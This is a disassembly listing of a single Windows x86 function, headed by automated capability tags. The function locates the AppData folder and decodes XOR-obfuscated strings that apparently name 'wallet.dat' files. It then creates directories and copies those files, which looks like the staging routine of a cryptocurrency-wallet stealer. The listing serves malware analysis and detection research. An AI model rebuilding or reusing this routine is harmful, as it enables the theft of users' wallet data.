Function at 0x4105c0
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504230
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1e8
push esi
push edi
mov dword [ebp - 0x28], ecx
push 0x104
lea eax, [ebp - 0x1f8]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov word [ebp - 0x13], 0x5c
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x11], 0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410657
sub ecx, edx
lea eax, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0xd4]
call fcn.00402870
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x1f8]
lea ecx, [ebp - 0xec]
call fcn.0046a3e0
add esp, 4
lea ecx, [ebx + 8]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.00466300
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x410713
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410709
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411386
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x41076c
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410762
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411386
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp dword [ebp - 0x44], 0x10
lea esi, [ebp - 0x58]
push 0x537268
cmovae esi, dword [ebp - 0x58]
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x41138b
test esi, esi
je 0x4112a6
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4107b4
sub ecx, edx
je 0x4112a6
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4107ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4107ed
cmp eax, 0x20
je 0x4107ed
cmp eax, 0x45
je 0x4107ed
cmp eax, 0x24
jne 0x4112a6
push 0x537268
call fcn.004dcb43
add esp, 4
mov dword [ebp - 0x21], 0xf2fcebc7
mov dword [ebp - 0x1d], 0x8cd5c5f3
xor ecx, ecx
mov dword [ebp - 0x19], 0xd1c5c7
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410815
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x21]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410835
mov edi, 0x7fffffff
sub ecx, edx
mov edx, dword [ebp - 0x48]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x411391
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
mov ecx, esi
call fcn.0046dfc0
call fcn.0040bf40
add esp, 0x18
test al, al
je 0x410cf1
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410890
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x411396
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046dfc0
mov byte [ebp - 4], 7
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x410915
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004df290
mov ecx, dword [ebp - 0x14]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x410925
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046c3b0
mov dword [ebp - 0x90], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x4109a3
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410999
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41139b
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp dword [ebp - 0x8c], 0x10
lea esi, [ebp - 0xa0]
push 0x537268
cmovae esi, dword [ebp - 0xa0]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x4113a0
test esi, esi
je 0x410a27
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4109e7
sub ecx, edx
je 0x410a27
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410a18
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410a18
cmp eax, 0x20
je 0x410a18
cmp eax, 0x45
je 0x410a18
cmp eax, 0x24
jne 0x410a27
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x410a59
push 0x537268
call fcn.004dcb43
add esp, 4
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
cmovae eax, dword [ebp - 0xa0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410cae
mov dword [ebp - 0x21], 0xf2fcebc7
xor ecx, ecx
mov dword [ebp - 0x1d], 0x8cd5c5f3
mov dword [ebp - 0x19], 0xd1c5c7
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410a74
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a90
mov edi, 0x7fffffff
sub ecx, edx
mov edx, dword [ebp - 0x90]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x4113a6
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046dfc0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov dword [ebp - 0x21], 0xf2fcebc7
cmovae esi, dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x8cd5c5f3
mov dword [ebp - 0x19], 0xd1c5c7
mov byte [ebp - 0x15], 1
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410b10
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b28
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x4113ab
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x88]
call fcn.0046dfc0
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push 0
cmovae eax, dword [ebp - 0x88]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x74]
mov esi, eax
cmp ecx, 0x10
jb 0x410bb5
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410bab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b0
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0x10
jb 0x410c08
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410bfe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b0
push ecx
push edx
call fcn.004dd831
add esp, 8
test esi, esi
je 0x410c17
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x410cb3
cmp dword [ebp - 0x8c], 0x10
lea edx, [ebp - 0xa0]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0xa0]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c48
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402870
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xb
call fcn.0040c090
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x410cb3
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410ca2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113b5
push ecx
push edx
call fcn.004dd831
add esp, 8
jmp 0x410cb3
mov edi, 0x7fffffff
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x410cf1
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410ce7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x1e], 0xf2fcebc7
xor ecx, ecx
mov dword [ebp - 0x1a], 0xd1d5c5f3
mov word [ebp - 0x16], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x410d07
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410d20
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x4113bf
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046dfc0
mov byte [ebp - 4], 0xc
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
push 0x537268
cmovae esi, dword [ebp - 0xbc]
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x4113c4
test esi, esi
je 0x410dd1
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410d90
sub ecx, edx
je 0x410dd1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410dc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410dc1
cmp eax, 0x20
je 0x410dc1
cmp eax, 0x45
je 0x410dc1
cmp eax, 0x24
jne 0x410dd1
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x22], 1
jmp 0x410ddf
push 0x537268
call fcn.004dcb43
mov byte [ebp - 0x22], 0
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x410e20
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410e16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113ca
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp byte [ebp - 0x22], 0
je 0x4112b3
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410e40
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x4113cf
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046dfc0
mov byte [ebp - 4], 0xd
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x410ec5
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004df290
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x410ed5
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046c3b0
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410f44
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410f3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113d4
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp dword [ebp - 0x2c], 0x10
lea esi, [ebp - 0x40]
push 0x537268
cmovae esi, dword [ebp - 0x40]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x4113d9
test esi, esi
je 0x410fc0
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f80
sub ecx, edx
je 0x410fc0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410fb1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410fb1
cmp eax, 0x20
je 0x410fb1
cmp eax, 0x45
je 0x410fb1
cmp eax, 0x24
jne 0x410fc0
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x410fe9
push 0x537268
call fcn.004dcb43
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411270
mov dword [ebp - 0x1e], 0xf2fcebc7
xor ecx, ecx
mov dword [ebp - 0x1a], 0xd1d5c5f3
mov word [ebp - 0x16], 0x100
nop
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x411000
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411018
mov edi, 0x7fffffff
sub ecx, edx
mov edx, dword [ebp - 0x30]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x4113df
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
push ecx
cmovae eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046dfc0
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x41108a
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411080
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113f4
push ecx
push edx
call fcn.004dd831
add esp, 8
movups xmm1, xmmword [ebp - 0xbc]
lea esi, [ebp - 0x40]
movq xmm0, qword [ebp - 0xac]
movq qword [ebp - 0x30], xmm0
cmp dword [ebp - 0x2c], 0x10
movd eax, xmm1
push 0x537268
movups xmmword [ebp - 0x40], xmm1
cmovae esi, eax
call fcn.004dcb32
add esp, 4
test eax, eax
jne 0x4113e4
test esi, esi
je 0x411110
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4110d0
sub ecx, edx
je 0x411110
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411101
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x411101
cmp eax, 0x20
je 0x411101
cmp eax, 0x45
je 0x411101
cmp eax, 0x24
jne 0x411110
push 0x537268
call fcn.004dcb43
add esp, 4
jmp 0x411139
push 0x537268
call fcn.004dcb43
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411270
sub esp, 0x18
mov byte [ebp - 0x22], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00466580
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0x1e], 0xf2fcebc7
mov dword [ebp - 0x1a], 0xd1d5c5f3
mov word [ebp - 0x16], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x411168
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0xa4], esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411190
sub ecx, edx
mov edx, dword [ebp - 0x48]
sub edi, edx
cmp edi, ecx
jb 0x4113ea
cmp dword [ebp - 0x44], 0x10
lea edi, [ebp - 0x1e]
push ecx
push edi
push edx
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
push ecx
push dword [ebp - 0xa4]
mov ecx, esi
call fcn.0046dfc0
mov cl, byte [ebp - 0x22]
mov byte [ebp - 4], 0xf
call fcn.0040f090
add esp, 0x30
test eax, eax
jne 0x4111e4
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x411270
cmp dword [ebp - 0x2c], 0x10
lea edx, [ebp - 0x40]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0x40]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411210
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402870
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x11
call fcn.0040c090
mov ecx, dword [ebp - 0x74]
add esp, 4
cmp ecx, 0x10
jb 0x411270
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411266
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113ef
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x4112b3
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41129a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113f4
push ecx
push edx
call fcn.004dd831
add esp, 8
jmp 0x4112b3
push 0x537268
call fcn.004dcb43
add esp, 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4112e7
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4112dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113f9
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0x10
jb 0x41132d
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411323
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113f9
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x411373
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411369
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4113f9
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2ad0
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.00402050
call fcn.004e2ad0
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.004e2ad0
call fcn.00402050
call fcn.004e2ad0
push eax
call fcn.004dc7db
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
int3